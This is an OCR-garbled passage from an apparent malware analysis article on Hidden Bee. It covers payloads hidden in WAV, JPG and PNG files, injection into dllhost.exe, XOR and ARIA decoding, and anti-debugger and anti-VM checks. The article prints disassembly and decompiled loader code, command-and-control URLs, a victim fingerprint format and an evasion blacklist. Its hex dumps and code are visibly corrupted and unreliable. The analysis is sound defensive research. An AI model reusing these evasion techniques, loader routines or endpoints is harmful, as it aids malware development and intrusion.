&& wav_buf[ex2D] =
&& mSize > *((_E ORD *)wav_buf + @x16)
&& mSize » *({(_DWORD *)wav_buf + 8xD)
&% !(wav_buf[8x3C] & 3) )
1
allocated buf = ( BYTE
v23 (un, gned int)
if ( allocated buf )
new_module_ep = (void (_ stdcall *)(unsigned int *))&allocated buf[*{(_DWORD *)wav_buf + @uD)}];
copy huffer(a__- ated buf, wav_buf + 8x2C, module size);
wav_buf + @x2C;
= v23; // _allocated buffer
ule_ep(&vl17); // call the decoded payload
'
VirtualFrees(v23, @, 8x86008);
}
}

The second WAV: an executable in proprietary format

On the illustration below, we can see how the data of the WAV looks after being decrypted
(9b37¢9ec19a53007d450b9b9c8febbe?):

Address |Hex dump ASCII

H2EEEEER| 52 49 46 46 C4 BE OB B0 57 41 56 45 &6 &0 v4 20| RIFF—2..WAUEfmt
F2EEEEIE| 18 B8 OB B0 @1 B8 Ol B0 28 3E OB B0 B8 VD 06 B0k, . .8.8.Cx .03,
BZEEHEZEH| B2 BE 16 BE 64 &1 74 61 OB BE B0 B0 @1 B4 BB 16| @, b.datads . . Ge. b
FEEEEEEE 10 BR Y4 BE BC HE DE B0 22 BE DE B0 FE HE OE B0 C.t.. 4.0 k2. pe.
H2&5EE4 0 +5.. 4.d7
H2&EHEEH
B2GoEEGH
HEnEEETE 4B BR 43 39 38 24 6E 656 65 BE OB BE B8 B4 0B 49 KECISinff.
precaEse 6B 68 63 64 6F FE 24 G6E 65 65 OB B0 BA B8 05 B0 khcdoVinff... .8
H2EEEETe) 47 B9 EC 49 B8 BE 24 &6E &6 65 DE B0 B8 BE 0@ 80 GY-IX"Snff......
HEEEEERE | 80 EVY HE 97 9F &5 BDO 6B 9B EC 28 BE 24 ¥5 82 60 1£+3&f2kT~lafue.
HEechEED) 2@ B 82 80 90 BB 93 IC CA 96 93 IC BE 96 93 IC @%e.kgdac=Fa"lao
HEEcEECH | 86 2E 6B D3 F? 58 BS B4 BF 32 BS 50 47 ¥B B8 55 «.kE HA+- ZAPGL{EU
procpEbe) 11 45 15 4E 89 5F BY 29 20 AF D2 7D 4F SB AS &3 AEENE_ElZ-0X0[EC
HEncEEED 98 F5 B2 B0 23 32 H1 &F 3C CE EE 30 SE DR FO EZ Eue.#ZiodrtBArid
HeecEdbe 58 3F 15 5H FA 34 19 49 FE ES 19 BE 2F 8¢ D08 IC) H7EC 44 ImfidR- i
Hrec@lEn) lF BB 31 CF 27 75 80 CH 2E CF BF &5 9E 32 &9 By W lo'uz=.0CF=3(E
ErecElle 63 AL BB 13 97 BF 2C 38 BF CH Y@ 38 E3 ER 82 20 ciglsx, 8-=pBArfe
HERcElZH | CE 48 94 B 18 C& 95 EBE BR AL CO EC 79 HE EBF D2 jrEc kALY i=ywiq0
Eerec@lze B2 FL Bl EDO B9 16 AD 41 56 F2 39 D5 B3 B8 OE 11 @81 osAU 91 |Z04
Heec@ldn 9 FC O 3F F3 11 F1 BF BF 6E 2R 16 74 2F 2E BS AE| #RY*4“q_n#*_t-, [+
Gooenlso|SB 43 B7 74 23 98 OC EA 1T 97 8% 97 5B 75 5B 34| [Iotel.F#stoluds

This is an executable component that is loaded into Internet Explorer. After it decodes the imports, it starts to look

much more familiar:

Address |Hex dump ASCII

BzZASEEAA| A1 B4 BE 18| 1C BA 74 BA|AC BE B8 BA|E2 EBE B8 G6|Ae.bo.t. . $.. 82,
HZASEE1A| FE B5 B8 BAA| 12 BS B8 B0\ A0 G0 B8 A8 A9 BE 11 A6|pe. . T5. ... ..., 1
HZASEEZA| 6E 74 &4 BC|EC ZE &4 EC|EC BE BE AC| B 25 6@ 4B ntdll dll....%.
H2ASE82A| 45 52 4E 45(4C 33 32 2E|64 6C 6C BB @B GC A8 @A2|ERMELZ2.dll....
HZ2ASEE48| 86 41 44 E&(41 BB 49 22|32 2E &4 &C|EC BE BE BE|.ADVARIZZ2.dLL..
BZASE6CH| BB G4 68 43 61 62 69 EE|65 74 ZE 64|EC EC 65 60| .e.Cabinet.dll..
H2ASE8EE| AR B8 A& 88|40 53 56 43|52 54 ZE 64| 6C &C 88 88| ..+ .MSUCRT.dLL..
HZASEETE| 00 B0 88 @8| 12 FA 20 FF|FE 47 9F FF|E4 AS 98 FF|e... 1 2w-GCWidsw
HZASEEEA| 1E 3B 8F FF|48 53 8F FF|CB 55 8F FF|CB 53 8F 7F|+; CWwESCW -UCw 50w
BZASEE3E| 08 54 5F 77| LF 53 92 77|25 50 90 77|78 B2 99 Y| LTCWTS [wi-EwsbEw
HZASEEAA| C4 73 9@ FF|48 6@ 9@ FF|E2 41 SF FF|EE 57 91 7F|.A=-wwiH™ - wih.aad
HZ2ASEBERA| 08 3C S9F FF|CB 4C SF FF|EE 2A BB 77|08 D9 BE 77| i{Cw'LCwt#*Iud Ju
HZASEECHE| 2B 45 BC 77|41 CF BE 7F|A2 BS BA 77|46 BA BE 77| +E.wHSIwiA. wFll Jw
G2ASE806| &2 BF BE 77|02 33 ac 7PFP|CF CO 8B 77|A4 10 BC 77|b#IwEl. wiFJuwlH.w
BZASEEER| 4F 21 BC FY| 26 2C BC FF|BE ZF BC FF|FC CA BE 77| 0. wiki.wAswi=ay

M -

We can see that it follows an analogical structure to the one described in last year’s article.
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This module is first executed within Internet Explorer. Then, it creates another process (dllhost.exe) in a

suspended state:

HZASEATS 2025 FCFFFFFF [LER ERX, OWORO FTR S5: [EEF-B:247

B2ASBATF =] FUSH EA

B2ASEAZE CE FUSH ESI

B2ASERS1 =) PUSH ESI

B2ASER32 &R B4 PUSH Bx4

B2ASEA3G =) PUSH ESI

E2ASEAZE EE PUSH ESI

H2ASER2E CE PUSH ESI

B2ASEAST 2025 24FDFFFF |LEA EAX,DOWORD PTR SS: [EEF-G:2C0C]

G2ASEA20 =) FUSH ESI

B2ASEAZE =] FUSH EA:

AZASER2F FF1S 2e@lA2E2 [CALL DWORD PTR DS: [Bx2ASE1281 kernel22. CreateProcessll
SECH TEST ERX,EAR

AZAZEAST |+ 74 40 JE SHORT BZASEAES

iq L_J

Stack address=BZ1AC15@, (UHICODE "C:w-Windows-~swstemzz-~~dl [host.ene"]
ERX=88806086 1

Address |Hed dump ASCII

GzAsEEEa| Al 64 88 16| 1C 68 74 88| AC BS B8 B8] S22 BE 690 a0|Ge.ko.t. . d. 0 k2.,
EZASEE1E| FE G5 88 G@| 12 BS @9 00|00 00 @8 88|87 08 11 88|pe. . t5. . i eaaad.
BZASEEZA| 6E 74 &4 GC|E&C ZE &4 GC|AC BE BE AC| A8 26 B8 4B[ntdll.dll... &K
HZAZEE3A| 45 52 4E 45|4C 33 32 ZE| 64 &C 6C BA|AB @C B8 &8 ERMELZZ2.dlLl....0
EZAZEE48| A6 41 44 56|41 5@ 49 22|52 ZE 64 EC|EC BE BE BE|.AOVAFIZZ.dLL..#
BZOSE6SE| BB G4 B8 43 61 62 69 EE|6E 74 2E 64|EC EC B0 68| .4.Cabinst.dll..
HZASEEEE| BA B8 8BS BB| 40 53 E& 42|52 B4 Z2E &4|&C &C B8 8A&( ..+ .MSUCRT.dLL..
B2ASEETA| 06 B8 A3 8| 12 FA S0 7F|FG8 47 SF 7F|E4 AS 98 7F|.... 1 2w-GCwiddw
B2ASE888| 1E 3B SF 77|48 53 SF FF|CB 55 SF FF|CB 53 SF 77| +; CwESCw tUCW LSCw
BZAEEE3E| 08 54 SF 77 LF 53 92 77|28 5C 90 77| TS 62 99 7Y| LTCWTS (wiEwsbEw
HZASEBAA|C4 73 98 FF|48 60 98 FF|68 41 8F FF|ES 57 91 77| -wwH" - wiheas
HZASEBERA| D& 3C 8F FF|CB 4C 8F FF|EE ZA BE 77|08 D9 BE 77| i{Cw'LCwt*dud Ju
BZAZEECAI ZE 45 AC FFi41 CF BB FFIAS BE BA FFl46 BA BE 77| +E.wADIWiA. wFll Jw

It injects its original copy there (769a05f0eddd6ef2ebdd13618b244758):

[ dilhost.exe (2784) Properties

| General I Statistics I Performance | Threads I Token I Modules | Memery | Environment I Handles I Comment

Hide free regions
Baze address Type Size  Protect... Use Tat
> Ox 10000 Private 128kE RW 1
> 0w 30000 Mapped 16kE R
> Ox40000 Private 4kB RW
4 (50000 Mapped 52kE  RWX
0x 50000 Mapped: Com... 52kB  RWX
7| dilhost.exe (2784) (0x50000 - 0:5d000) = ===
00000000 ﬂl 04 00 10 1c Oa 74 00 Oc OS5 00 00 &8 be 00 00 ...u.. Lovannanna »

00000010 70 O0& 00 OO0 18 k& 00 00 00 OO0 00 00 09 00 11 00 Pusesesnsnaaansns (W
00000020 &4 Te &2 66 66 24 6e 66 &6 00 00 Oc 00 26 00 41 d~nffsnff....&.R
00000030 4f 53 44 4f 44 39 38 24 6e 66 64 00 00 Oc 00 O QHEDOFSSsnff.....
00000040 00 4k 4e 5c 4b 5a 43 39 38 24 6e &6 66 00 00 Ob EMNEZCS9E8Snff...
00000050 00 04 00 4% 6b 62 63 64 &L 7e 24 6e 66 66 00 00 ...Ikhcdo~%nif..

000000680 0Oz 00 O& OO0 47 59 5c 49 58 5S5e 24 &e 66 &6 00 00 ....GY°NIX~%nff..
00000070 00 00 00 00 &c 7 ae 97 9f 66 bd 6b 9b Sc 88 Ob ......... k...
00000080 24 75 82 04 30 b8 82 0d 9d bb 93 lc ca 96 93 1lc fu..0...ieueusn
00000090 5e 96 93 1lc 0& 2e &b 43 £9 58 be 04 07 32 b5 50 ~..... k.. .X...2.F
000000&a0 47 7b 08 553 11 45 135 4e 8% 5L b7 2% 8d af 42 7d G{.U.E.N._.}...}
000000k0 4f Sk a8 63 90 75 82 04 23 32 al &f 3c ce ee 30 O[.c.u..#2.0<..0
000000ch Be da £d e2 58 3£ 15 Sa fa 34 19 49 fe e5 1% Oe ....¥2.Z2.4.I....
00000040 2f 87 d8 1lc 1f bb 31 of 27 75 84 ca 2e cf &8f 66 /..... AL PR £

Then it redirects execution to its loading function. Below, we can see the Entry Point of the implanted module

within dllhost.exe.
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* KernelMode - dilhost.exe - [*G.P.LU* - main thread]
@ File View Debug Plugins Options Window Help

et Bledx] w1 s+ 305 A~ s]E[m]T|w]nc| s

FF7424 B2 FUSH DWORD PTR S5: [ESP+E12] implanted_modu le_ep
BEASACED FFE424 B2 CALL DWORD PTR S5: [ESP+Ex2]
BEESECE L CZ Bcea RETH &:iC
BRASACES 55 FUSH _EEFP
BRASECES SEEC MOu EBF, ESP
BRESECET S3EC 12 SUUE ESF,Onls
BEASECEA =] FUSH _EBX ntdl . 77997140
BEESECEE 2BED 12 MOU EBX, ONORD PTR SS5: CEEF+E:12]
AARSACAF A FIISH FRT

1 [
Stack So:LO011FAECI-DEEELESH

Address |Hex dump HSCII

HEEEEEEE| 1 B4 B8 16| 1C BA 74 BE|EC B B8 BE| 22 BE 60 60| Ge. ko t.. &0 F2..
BEEEEE1A|FE G5 83 0| 12 BS 88 60|60 60 88 88|62 66 11 88|ps..t5. ... ... 4.
BEAASEEZA| 64 FE G6E &6 66 24 GE AR A6 BE BE AC| BB 26 B8 41|d nffinff....%.A
BEESEE3E| 4F 58 44 4F| 46 29 38 24| 6E &6 S5 BE| @8 GC @8 82| 0<00F985nff... .0
BERSEE4E| B8 4B 4E SC|4E 5A 43 39|38 24 6E 66|66 BE BE BE|.KH-KZCIESnff..d
HERSEEEA| BB B4 B8 49| 6B &8 63 64| 6F YE 24 GE| 66 &5 BE 88| . 4. Ikhcdo™Snff..
BARSEREA| AR @A @5 @A 47 59 EC 49|52 EE 24 6E| 66 &6 BE BA| ... .GY-~IE"5nff..
BARSEETA| AR B B8 @@ 2C EFY AE 97| 9F &5 BOD &EB| 9B SC 82 BE|....1E«3&F2kT k2
HEEEEESA| 24 Y5 892 60|28 BS 82 80|90 BB 92 IC|CR 96 93 1C|fue.@Se.kqnac=lac
BEEEEE9A|5E 96 92 IC| @& 2E 6B DI|F2? 58 B& 84| A7 32 BE 58| “Pi . kE HAe« 2AF
BEAESEEAE| 47 FE 82 55|11 45 1S 4E|89 5F BY 29|80 AF D2 70| G{EUAEEHE_EIZ=02
BEESEEES| 4F 5B AS 63|98 ¥5 92 60|22 32 Al &F|2C CE EE 38| O[EcEus. #2 (odjftE
BEASEEACA| 2E DA FO EZ| 58 3F 15 BAIFA 34 19 43|FE EE 19 BE|ArLORYES " 44 Imfi+H

A detailed analysis of the execution flow of this module and its format will be given later in the article.

At this point, it is important to note that the dllhost.exe is the module that further downloads the aforementioned

images.
The modules with the custom format

The module with the custom format is analogous to the one described before. However, we can see that it has

significantly evolved.

There are changes in the header, as well as improvements in the implementation.

Changes in the custom format

The new header is similar to the previous one. The few details that have changed are: the magic number at the
beginning (from 0x10000301 to 0x10000401), and the format in which the DLLs are stored (the length of a DLL
name has been added). That’s why we will refer to this format as “0x10000401 format.”

Another change is that now the names of the DLLs are obfuscated by a simple XOR with 1 byte character. They

are deobfuscated just before being loaded.
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Ll =]

@a3115DC

@83115D0C decede func_name:

@8B831150C mov cl, [esi+5]

B83115DF xor [eax], cl

B83115E1 mov ecx, [ebptarg_e]

8@83115E4 movzx  edx, byte ptr [edi]

B83115E7 inc eax

B83115E8 add ecx, eax

BB3115EA cmp ecx, edx

BB3115EC jb short decode func_name
T

‘ YYY
|l 5=
3115EE
3115EE loc_3115EE:
3115EE lea eax, [edi+d]
3115F1 push eax ; _DWORD

3115F2 call ds:LoadLlibrarys
3115F8 test eax, eax

3115FA mov [ebptvar_18], eax
3115FD jz short loc 311636

Summing up, we can visualize the new format in the following way:

Cffsec(h) 00 01 02 03 04 05 06 07 08 09 OA OB OC OD OE OF Decoded text

00000000 [EEOERDL] 0 RS - I.. HEADERS

00000010 |70 _0&6 00 e e

08 00 11 00 .... DLLs

00000020 64 7E 6E 66 66 24 6E 66 66 00 0D OC 00 26 00 41 d~nff¢nff....&.A  [lc offeat = Ox1C
00000030 4F 58 44 4F 46 39 38 24 6E 66 66 00 00 0OC OXDOF98SnEs. .. .. N
00000040 00 43 4E 5C 4B SA 43 39 38 24 6E 66 66 00 .KM\Kzcosgnge, .. Svuctdll record{
00000050 00 04 00 49 6B 62 63 64 6F TE 24 6E 66 66 00 00 ...Ikhcdo~Snff.. WORD name_length,
00000060 OR 00 06 00 47 52 5C 42 58 SE 24 6E 66 66 00 00 ....GY\IX"Snff.. WORD functions_count,

00 00 00 00 e char name []; //XORed

t
00000070 8C E7 BE 97 SF 66 BD 63 9B 5C 88 03 SeB—2f k..
00000080 24 75 82 0D 30 B8 82 0D 9D 58 93 1C CA 96 93 1C  Su,.0.,.t»".E-".
000000%0 SE 296 93 1C 06 2E 6B D2 F9 52 BE 04 07 32 BS 50 ~-"...k0d¥qg..2uP =0x74
.
00000180 87 FO 96 7C 3D AD 39 0D C7 OE E0 3D F3 16 E6 F5  +d-|=.9.C.7=4.&4 SLKEL
00000190 7FC B0 3E 28 EA 3D 9D 7C | "> e=t]
64 A1 30 00 00 00 C3 56 d o...iv CODE

000001A0 8B 4C 24 08 8B 44 24 08 33 D2 83 CO 14 38 51 07 <L$.<D$.3H.R.8Q. Entry Point = 0x050C
000001BO 74 1C 33 F6 39 51 10 88 51 07 76 12 8B DE 83 E2  t.3569Q..Q.v.<0.4
00008810 00 00 00 00 00 00 00 00 83 03 00 00 BZ 03 RELOCATIONS
00008820 BF 03 00 00 E1 03 00 00 04 04 00 00 13 04
0000BS30 24 04 00 00 2D 04 00 00 42 04 00 00 47 04 Offset = 0xB818
00008840 55 04 00 00 61 04 00 00 8C 04 00 00 9C 04 Size = 0x0670

0000B850 BF 04 00 00 CE 04 00 00 EE 04 00 00 FA 04
0000BB6O 01 O 00 BO 05 00 00 BT 05
0000B87T BE O 00 DF 05 00 00 EA 05
00o00BE8 F2 05 00 00 51 06 00 00 &3 06 00 00 74 06

Module Size = 0xBESS

Obfuscation used
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This time, authors decide to obfuscate all the strings used inside the module. Now all the strings are decoded just

before use.
@B3187F5 lea eax, [ebp-2CCh]
BB3187FE push 184h
23188828 push eax ; _DWORD

28318881 push offset unk_317838
eB31le8e6 call decode_memory

@a31eses pop BCX

e@3lesec push eax ; _DWORD

ee3leseD call ds:ExpandEnvircnmentStringsi

The decoding algorithm is simple, based on XOR:

e

=

Pd B2 R R B2

1| BYTE *__cdecl decode_memory( BYTE *input_arr)

2f

3| _BYTE *output_arr; [/ eax

4| unsigned int indx; // esi

5| bool is _finished; // =T

6

7| output_arr = input_arr + @xld;

8| if ( input_arr[7] )

s {

@ indx = @;

1 is finished = *{{_DWORD *}input_arr + 4) == 8;
2 input_arr[7] = 9;

3 if ( !is_finished )

4 {1

= do

; {

7 output_arr[indx] “= input_arr[{indx & 7} + B];
8 ++indug

5 }

8 while { indx < *{{_DWORD *}input_arr + 4) };
L h

2| 3

3| return output_arr;

b

Inside the images downloader

Let’s look inside the first module in the 0x10000401 format that we encountered. This module is an initial stage,

and its role is to download and unpack the other components. One such component is in a CAB format (that’s why

we can see the Cabinet.dll among the imported DLLs).

The role

of this module is similar to the first “WASM” mentioned in our post a year ago. However, the current

version is not only better protected, but also comes with some improvements. This time the downloaded content is

hidden in the images. So, analyzing this element can help us to understand how the used stenography works.

First, we can see that the URLs are retrieved from their Base64 form:
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@a31165C
Ba31165F
@a311B64
Ba311665
88311666
88311666
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Mo
push
lea

push
push
push
call
add

[

EaX

eax, [ebp+targ_@]
offset basebd Str ; "SQBodHRwOiBwvMzguNzUUMTM3Ljke0TALDC 9wdWI" . ..

eax
esi

basetd decode
esp, 1léh

[Ehh+arg:8], eax

a4

This string decodes to a list containing URLSs of the PNG and JPG files that are going to be downloaded. For each

sample, this set is unique. None of the URLSs can be reused: the server gives a response only once. An example of

a URL set:

http://38.75.137.9:9088/pubs/wiki.php?id=937a4eaddb6f5a94b3738a58dcc79cal3 http://38.75.137.9:9088/im

So, we can confirm that this module is the one responsible for downloading and processing the observed images.

Indeed, inside we can find the functions responsible for their decoding.

Decoding the JPG

After the payload is retrieved, the JPG header is validated.

1CES
1CBE
1CC1
1CCy
1CCE
1Dl
1CD7
1CoD
1CE1
1CEY
1CEE
1CF1
1CF5S
1CFE
1CFF
1mas
1mas

jz

cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz

loc_311F3C

byte ptr [ebx], BFFh
invalid_payload

byte ptr [ebx+1], @D8h
invalid payload

word ptr [ebx+2], @E@FFh
invalid payload

byte ptr [ebx+s], "1
invalid_payload

byte ptr [ebx+7], 'F'
invalid_payload

byte ptr [ebx+8], 'I'
invalid_payload

byte ptr [ebx+3], 'F'
invalid payload

byte ptr [ebx+8sh], @
invalid_payload

Then, the payload is decoded by simply using an XOR with the last byte. The decoded content is expected to start

from the !rcx magic ID.
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—— v Y
Ll e 55
28311069
@B311069 wor_next:
88311069 xor [eax+esi], cl
@8311D06C inc eax
88311060 cmp eax, [ebx+18h]
@e3110ve jb short xor_next
% L |
=
Be311D072
88311072 loc_311072:
@8311072 cmp [esi+4], edi
@8311D075 ja invalid payload
Y
Ll i 5=
@831107E cmp dword ptr [ksi], 'xcr!’
@8311D081 jnz invalid payload

After decoding the content, the hash of the !rcx module is validated with the help of SHA256 hash. The valid hash
is stored in the module’s header and compared with the calculated hash of the file content.

288311087 lea eax, [esi+s]
28311084 push 32
2@831108C push eax

@8311080 lea eax, [ebptvar_4C)]
@8311098 push eax

8311091 mov [ebptarg_e], 48
288311098 lea edi, [esi+28h]

88311098 call j_memcpy
28311048 push 32

288311042 lea eax, [esi+s]
883110A5 push @

283110A7 push eax

@83110A8 call j_memset
@83110AD lea eax, [ebp+var_BC]
88311083 push eax

88311064 call sha256_init
28311089 push [ebp+var_4]
@8@83110BC lea eax, [ebptwvar BC]
883110C2 push esi

2@83110C3 push eax

@83110C4 call sha256_hash

@83110C9 lea eax, [ebp+var_BC]
@883110CF push eax
8311008 lea eax, [esi+d]

28311003 push eax

28311004 call sha25&_finish
288311009 lea eax, [esi+s]
2831100C push 32

@831100DE push eax

@83110DF lea eax, [ebpt+var_4C)]
@883110E2 push eax

@83110E3 call h_memcmp
@@83110DEE add esp, 3Ch
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If the validation passed, the shellcode stored in the !rcx module is loaded. More details about the execution flow

will be given later.

il )=

Ba311ELF
@8311E1F loc 311E1F: 3 _DWORD
@B311E1F push 4ah
BB311E21 push 1ee8h 3 _DWORD
BB311E26 push dword ptr [edit+3] ; _DWORD
@8311E29 push ) ; _DWORD
@8311E28 call ds:WirtualAlloc
B8311E31 test eax, eax
BB311E33 mov [ebpt+shellcode_mem], eax
@B311E36 jz short loc 311E48

— |

L |
FEE
BB311E38 push dword ptr [edi+d]
@B311E3E add edi, 1eéh
@B311E3E push edi
BB311E3F push eax
B8311E48 call j_memcpy
BB311E45 add esp, 8Ch

|

The !rcx package has a simple header:

Cffsec(h) 00 01 02 03 04 05 06 OT 08 0% QR OB OC OD
00000000
00000010
00000020
00000030

31 CO 40 90 OF 8
00000040 OO0 OO E8 04 00 OO0 00 OF 00 &0 OC 58 &0 64
Q00000050 30 OO0 00 00 52 51 50 56 E8 44 00 00 00 61
00000060 54 24 04 BE 44 24 OC 56 8B 74 24 0OC 57 8
00000070 OF BT 02 42 42 23 F8 41 7C 08 83 F& 54 TF
00000080 CO 20 OF BT OE 46 46 83 F9 41 T7C 08 83 F3
00000090 03 83 C1 20 3B DT 73 04 3B C1 74 D4 5F 2B
000000RA0 C3 52 8B EC 83 EC 4C BB 45 08 53 5o 57 &b
000000BO 6A &C 58 33 C9 66 89 45 BE 66 895 45 C8 66
000000C0 CA &6 89 45 EE &6 89 45 FO &6 895 45 F6& &6

Decoding the PNG

Retrieving the content from the PNG is more complex.

T
R

Frin;

o
= ]

" 5 Ak )
S
Lt kg D Lo e

First, after downloading, the PNG header is checked:
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Size
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Code
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8@83116CE loc 3116CE:

883116CE lea eax, [ebptvar &]
88311601 push 8

88311603 push eax

88311604 push edi

@83116D5 xor esi, esi
88311607 mov [ebp+var_8], 89h
@8831160E mov [ebp+var_7], 'P'
@8831160F mov [ebp+var_&], 'N'
883116E3 mov [ebp+var_ 5], 'G'
883116E7 mov [ebp+var_4], @Dh
8B83116EE mov [ebp+var_3], @sh
BB83116EF mov [ebp+var_2], 1ah
BB3116F3 mov [ebp+var_1], @ah
@B3116F7 call j_memcmp
883116FC add esp, BCh

The function decoding the PNG has the following flow:

33| decoded buf = @;

34| png_hdr = @x89u;

35| w1z = 'P';

36| v N

37 G

38 '

39 "\n';

40 = 26;

41| vis = 1e;

42| if ( !'j_memcmp(payload, &png_hdr, B) )

43 decoded_buf = (_BYTE *)decode_from png(payload, functions_list, &size);
44| result = free(payload);

45| if ( decoded buf )

46| {

47 if ( !(size & 3) )

48

49 buf_ptr = deceded_buf;

5@ aria_set_key((unsigned int *)&crypt_ctx, aria_key_ptr + 4, *(_DWORD *)aria_key ptr);
51 j_memset(aria_key ptr + 4, @, *(_DWORD *)aria_key_ptr);

52 if ( size )

53 {

54 do

55 I

56 aria_crypt_round(&crypt_ctx, buf_ptr, buf_ptr);

57 index += 16;

58 buf_ptr += 16;

59

68 while ( index ¢ size };

&1 }

62 if { *decoded_buf == "M" && decoded_buf[1] == 'S’ && decoded_buf[2] == 'C' && decocded_buf[3] == 'F' }
&3 {

64 if ( unpack_cab(&v1@, (int)decoded buf, size) )

65

66 module_name = decode_memory((int)sub_317EE4);// "bin/i386/core.sdb”
67 load from_package{index, (int)decoded_buf, (int)}&v1e, module_name, @);
68 free_module(&via);

69 }

78 }

71

72 result = free(decoded_buf);

73| }

74| return result;

75}

It converts the PNG into byte content and decrypts it with the help of ARIA cipher. The result should be a CAB
format. The unpacked CAB is supposed to contain a module “bin/i386/core.sdb” that also occurred in our previous

encounters with Hidden Bee.

The authors are careful not to reuse URLSs as well as encryption keys. That’s why the Aria key is different for

every unique payload. It is stored just after the end of the 0x10000401 module :
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During the module’s loading, the key is rewritten into another memory area, from which it is used to decrypt the

downloaded module.

@83185C4 movzx  ecx, word ptr [esi] ; copy the ARIA key

883185C7 mov [eax], ecx

883185C9 mov eax, ds:aria_key ptr
883185CE push dword ptr [eax]
@a318508 add eax, 4

88318503 push ebx
88318504 push eax
@p318s505 call j_memcpy
@p3185DA add esp, @Ch

e

88318500 loc_31@5D0:

@e31850D cmp ds:aria_key ptr, @
8B83185E4 jnz short continue_to download
|1
Ll s
Ba3185Ee @a31a85EE
8@83185E6 loc_31@5E6: 3 _DWORD| @@31@5EE kcntinue_tc_dcwnlcad: 3 _DWORD
B8@83185E6 push ] BB3185EE push 7
283185E8 call ds:ExitProcess ea3lesFe call ds:SetErrortode
883185F6 mov eax, [ebp+param]
883185F9 push dword ptr [eax+@Ch]
883185FC call download_and_deccde_images
B0318681 jmp loc_318AF1

The CAB file retrieved from the PNG is available here: 001bdc26b2845dcf839f67a8760c6839

\Z > @ Location: |i /bin/i386/

Name v | Size Type Modified
iz core.sdb 26.7 kB unknown 01 January 1970, 01:00

It contains core.sdb (d1a2fdc79¢154b120a0e52c46a73478d). That is a second module in Hidden Bee’s custom

format.
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Inside core.sdb

This module (retrieved from the PNG) is a second downloader component in the 0x10000401 format. This time, it
uses a custom TCP-based protocol, referenced by the authors as SLTP. (This protocol was also used by the

analogical component seen one year ago). The embedded links:

sltp://dns.howtocom.site:1108/minimal.bin?id=998 sltp://bbs.favcom.space:1108/setup.bin?id=999

Execution flow

1. Checks for blacklisted processes. If any are detected, exits.

2. Removes functions:

DbgBreakPoint

DbgUserBreakPoint
by overwriting their beginning with the RET instruction.
3. Checks if the malware is already installed. If yes, exits.
4. Creates an installation mutex

{71BB7F1C-D700-4487-B9C6-6DD9863DFE91}-ins.

5. If the module was run with the flag==1:

1. Connects to the first address:

sltp://dns.howtocom.site:1108/minimal.bin?id=998

2. Sets an environment variable
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INSTALL_SOURCE

to the value given as an argument.
3. Runs the downloaded next stage module.
6. If the module was run with the flag!=1:
1. Performs checks against VM. If detected, exits.

2. Connects to the second address:

sltp://bbs.favcom.space:1108/setup.bin?id=999

. This time, appends the victim’s fingerprint to the URL. Format:

&sid=&sz=&os=8ar=

3. Runs the downloaded next stage module.

Defensive checks

At this stage, many anti-analysis checks are deployed. First, there are checks to detect if any of the blacklisted
processes are running. The enumeration of the processes is implemented using a low-level function:

NtQuerySystemInformation with a parameter 5 (

SystemProcessInformation
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36 j_memset{(int}vl, @, SystemInformationLength};
37 if ( INtQuerySystemInformation(v3, 5, v2, SystemInformationLength, &SystemInformationLength) )
38

39 while ( !blacklisted _processes[@] )

4a

41|check_next:

42 if ( !*(_DWORD *}v2 )

43 goto finished;

a4 v2 += *(_DWORD *)v2;

45 1

46 next_proc_name = blacklisted_processes;

47 _next_proc_name = blacklisted_processes;

43 while ( 1 )

49

5@ RtlInitUnicodestring(&ve, *next_proc_name);
51 if ( (_WORD)vE == *(({_WORD *)v2 + 28) )
52

53 if ( (unsigned _ int8)RtlEqualUnicodeString(&ve, v2 + 56, 1) )
54 break;

55 1

56 next_proc_name = _next proc_name + 1;

57 _next_proc_name = next_proc_namej

58 if ( !*next_proc_name )}

59 goto check_next;

60 1

61 blacklisted found = 1;

62

63 [Finished:

64 LocalFree(v7);

65

66 return blacklisted found;

67}

The blacklist contains popular debuggers and sniffers:

» &« » <«

“devenv.exe” , “wireshark.exe”, “vmacthlp.exe”, “procmon.exe”, “ollydbg.exe”, “idag.exe”,

» <«

“ImmunityDebugger.exe”, “windbg.exe”

» o«

“EHSniffer.exe”, “iris.exe”, “procexp.exe”, “filemon.exe”, “fiddler.exe”

The names of the processes are obfuscated, so they are not visible on the strings list. If any of those processes are

detected, the execution of the module terminates.
Another function deploys a set of anti-VM checks. The anti-VM checks include:

46| ms_exc.registration.Trylevel = @;
47| CPUID check(&/27, Bx40000000);
48| *(_DWORD *)v33 = v28;
49| *(_DWORD *)&33[4] = v2
58| *(_DWORD *)&33[8] = v3
51| ms_exc.registration.Trylevel = -1;
52| HIBYTE(v34) = @;

53| if ( VPCEXT_check() )

54 goto set_wm_flag;

55| if ( VMWare io check() )

56 goto set _wm_flag;

PG -

L

-
A=
e

CPUID with EAX=40000000 (a_check for Hypervisor’s Brand):

- a -

B824335CB push hBBBBBBBh

82433500 lea eax, [ebpt+var_544]
@2433506 push eax

82433507 call CPUID check
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82433414 pusha

8243341 mov eax, [ebptarg_ 4]
A243341E wor ehw, ehx
B2433428 xor BCH, BCX
A2433422 wor edx, edx
82433424 cpuid

B2433426 mov edi, [ebptarg_g]

The VMWAre 1/0 Port (more details [here]):

A243353A mov eax, VMKh'

@243353F mov ebx, 8

82433544 mov ecx, Bah

82433549 mov edx, "WVX'

B243354E in eax, dx ; check for Wware
B243354F cmp eba, "VMIh'

@2433555 set:z [ebp+var_1C]

VPCEXT instruction (more details [here])

B824334B3 push ebx
@2433464 mov ehx, @
82433489 mov eax, 1
B24334BE wpcext 7, @Bh
@24334C2 test ehx, ebx
82433404 setz [ebptvar_1C]

Checking the list of common VM vendors:
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57| v = decode_memory(&str_XenVMMXenViMM); JI " XenVMMenviiM™
58| if ( !strncmp(v33, ve, 12} )

59 goto set_wm_flag;

68| vl = decode_memory(&str_VMWareViMware); J "VMwareVMware”
51| if { !strncmp(v3z, v1, 12} )

62 goto set vm_flag;

63 w2 = decocE_memory{&str_KUHWHKUH}; £ KVMKVMVM"
64| if { !strncmp(v33, w2, 12} )

65 goto set_wvm_flag;

66| w3 = decode_memory{&str KVMIKVMKVM) ; JI T IEMEVMICVM™

67| if { !strncmp(v33, v3, 12} )

68 goto set_wm_flag;

59| w4 = decode_memory(&unk_2435F78); " lrpepyh  wr™
7a if ( !'strncmp(v33, w4, 12} )

71 goto set_vm_flag;

72| w5 = decode_memory(funk_ 2435F58); // "sbiedll.dll™

73| if ( GetModuleHandleA(vS) )

74 goto set_wm_flag;

